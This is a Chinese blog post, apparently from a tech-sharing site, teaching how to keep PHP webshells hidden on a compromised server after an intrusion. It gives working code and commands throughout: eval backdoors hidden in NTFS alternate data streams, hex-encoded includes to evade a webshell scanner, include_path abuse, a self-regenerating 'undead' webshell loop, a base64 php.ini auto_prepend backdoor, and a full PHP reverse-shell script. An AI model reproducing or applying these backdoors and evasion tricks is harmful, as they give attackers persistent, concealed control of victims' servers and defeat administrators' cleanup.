php隐藏后门,php 后门隐藏技巧

辛辛苦苦拿下的 shell,几天没看,管理员给删了。这篇文章是我个人小小的总结,很多方面都建立在自己理解上思考,如果你有更好的思路,各位表哥们也可以分享。

隐藏

隐藏的技巧很多,废话不多说直接开始。

一. attrib +s +h

创建系统隐藏文件:

attrib +s +a +r +h

attrib +s +h 文件名

a9e4545c8ec87b590f7eb1c46e4255fe.png

查看隐藏文件

09367c27ec0dc1e3ff2073c093d89497.png

二. 利用 ADS 隐藏文件

NTFS 交换数据流(Alternate Data Streams,简称 ADS)是 NTFS 磁盘格式的一个特性,在 NTFS 文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其它文件可以“寄宿”在某个文件身上,而在资源管理器中却只能看到宿主文件,找不到寄宿文件。利用 ADS 数据流,我们可以做很多有趣的事情。(抄的)

首先创建 ADS 隐藏文件

在命令行,echo 一个数据流进去,比如 index 文件是正常文件。

echo ^<?php @eval($_REQUEST[1]);?^> > index.php:shell.jpg

这样就生成了一个不可见的index.php:shell.jpg

a97ab689c6dfb14335314dd91c782abe.png

可用dir /r命令来查看

2b2522fbccf40bcd39e720b4eab9476f.png

修改与删除

修改:

进入文件所在目录,notepad index.php:shell.jpged695cd82848b3396c1eca3347551f01.png如何删除index.php:shell.jpg呢?

直接删除index.php

e57d6461b03c517c60b078321d289214.png

文件包含

我们生成了index.php:shell.jpg,可以通过包含文件的方式来使用。

e9ba1942721654118b8307c8072fe755.png

还可以用上面学的隐藏include.php

b8fc6a796ee119d0b17997037da1307d.png

免杀

隐藏了也不行兄 dei,D 盾一扫瞬间爆炸。

3b1f2fe89d1ac577045fa92f7df23a6d.png

把index.php:shell.jpghex 编码

$a="696E6465782E7068703A7368656C6C2E6A7067";

// index.php:shell.jpg hex编码

$b="a";

include(PACK('H*',$$b))

?>

8cba0778e7e6fe278cc6e446779c6fb0.png

三. php 环境变量留 shell

环境变量include_path

3ab42fe0345e0a666a806d5cc7b09745.png

在 C 盘,创建C:\php\pear目录,把木马文件丢上去。

9e56af75b4521d1428a9f064b2d1d355.png

在包含下就 OK 了

818b116b70d06fa85d49442a42961380.png

四.不死马

运行后,会删除自身,生成一个webshell.php,管理员删除后还会生成。

set_time_limit(0);

ignore_user_abort(1);

unlink(__FILE__);

while(1){

file_put_contents('webshell.php','<?php @eval($_POST["password"]);?>');

sleep(5);

}

解决覆盖重写或者重启 web 服务删掉即可。

set_time_limit(0);

ignore_user_abort(1);

unlink(__FILE__);

while(1){

file_put_contents('webshell.php','clear');

sleep(1);

}

五. php.ini后门

将下面后门写入php.ini

allow_url_include=On

auto_prepend_file="data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW2NtZF0pOz8+"

// base64 <?php @eval($_REQUEST[cmd]);?>

// 后门类型可自己修改。

6cadd58dc020fc77011f38c668b5e08b.png

后门留好后,需要重启 web 服务。

方法1. 如果权限很大的话,自己手动重启,缺点容易暴露,重启服务,就要上服务器,某里的服务器,异地登陆有短信提醒。

方法2.就是加载一个php_socke.php脚本,让他重新加载php.ini

脚本如下:

/*******************************/

/*         BY 傀儡           */

/* 我是一只小弱鸡,咿呀咿呀呦~ */

/*     只适用于windows系统     */

/*******************************/

while(true){   //别问我为什么要死循环,我也不清楚,只有设置成死循环才能加载新的 php.ini ...

@set_time_limit(0);

$system=strtoupper(substr(PHP_OS, 0, 3));

if(!extension_loaded('sockets'))

{

if($system=='WIN'){@dl('php_sockets.dll') ordie("Can't load socket");}

}

$host='255.255.255.255';    //   搞一个不存在的ip,万一给人家反弹过去了岂不是真尴尬了~~~

$port=1998;      //别问我为什么是1998,问了我也不会告诉你....

if($system=="WIN"){$env=array('path'=>'c:\\windows\\system32');}

$descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"),);

$host=gethostbyname($host);

$proto=getprotobyname("tcp");

if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){die("Socket创建失败");}

if(($ret=@socket_connect($sock,$host,$port))<0){die("连接失败");}

else{

$message="PHP反弹连接\n";

@socket_write($sock,$message,strlen($message));

$cwd=str_replace('\\','/',dirname(__FILE__));

while($cmd=@socket_read($sock,65535,$proto))

{

if(trim(strtolower($cmd))=="exit"){

socket_write($sock,"Bye\n"); exit;

}else{

$process=proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);

if(is_resource($process)){

fwrite($pipes[0], $cmd);

fclose($pipes[0]);

$msg=stream_get_contents($pipes[1]);

socket_write($sock,$msg,strlen($msg));

fclose($pipes[1]);

$msg=stream_get_contents($pipes[2]);

socket_write($sock,$msg,strlen($msg));

$return_value=proc_close($process);

}

}

}

}

}

?>

有个尴尬的是,这个脚本不太稳定,这个方法不是 100% 可以成功的。但是如图这个 php 版本测试成功。

956c3f9f2cfadda532b4bb30c7312c20.png

这个后门在任何的 PHP 页面都可以用菜刀连接:

后记

可以说全面扩展开有的写了,条条大路通罗马通罗马,每个人都有自己的理解,文笔有限,就写到这里,可赞可喷。

参考:

https://www.t00ls.net/viewthread.php?tid=35053&highlight=php%2B%E5%90%8E%E9%97%A8

https://www.t00ls.net/viewthread.php?tid=44911&highlight=php%2B%E5%90%8E%E9%97%A8

https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=17060

https://www.cnblogs.com/xiaozi/p/7610984.html

https://www.t00ls.net/viewthread.php?tid=38906&highlight=php.ini

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值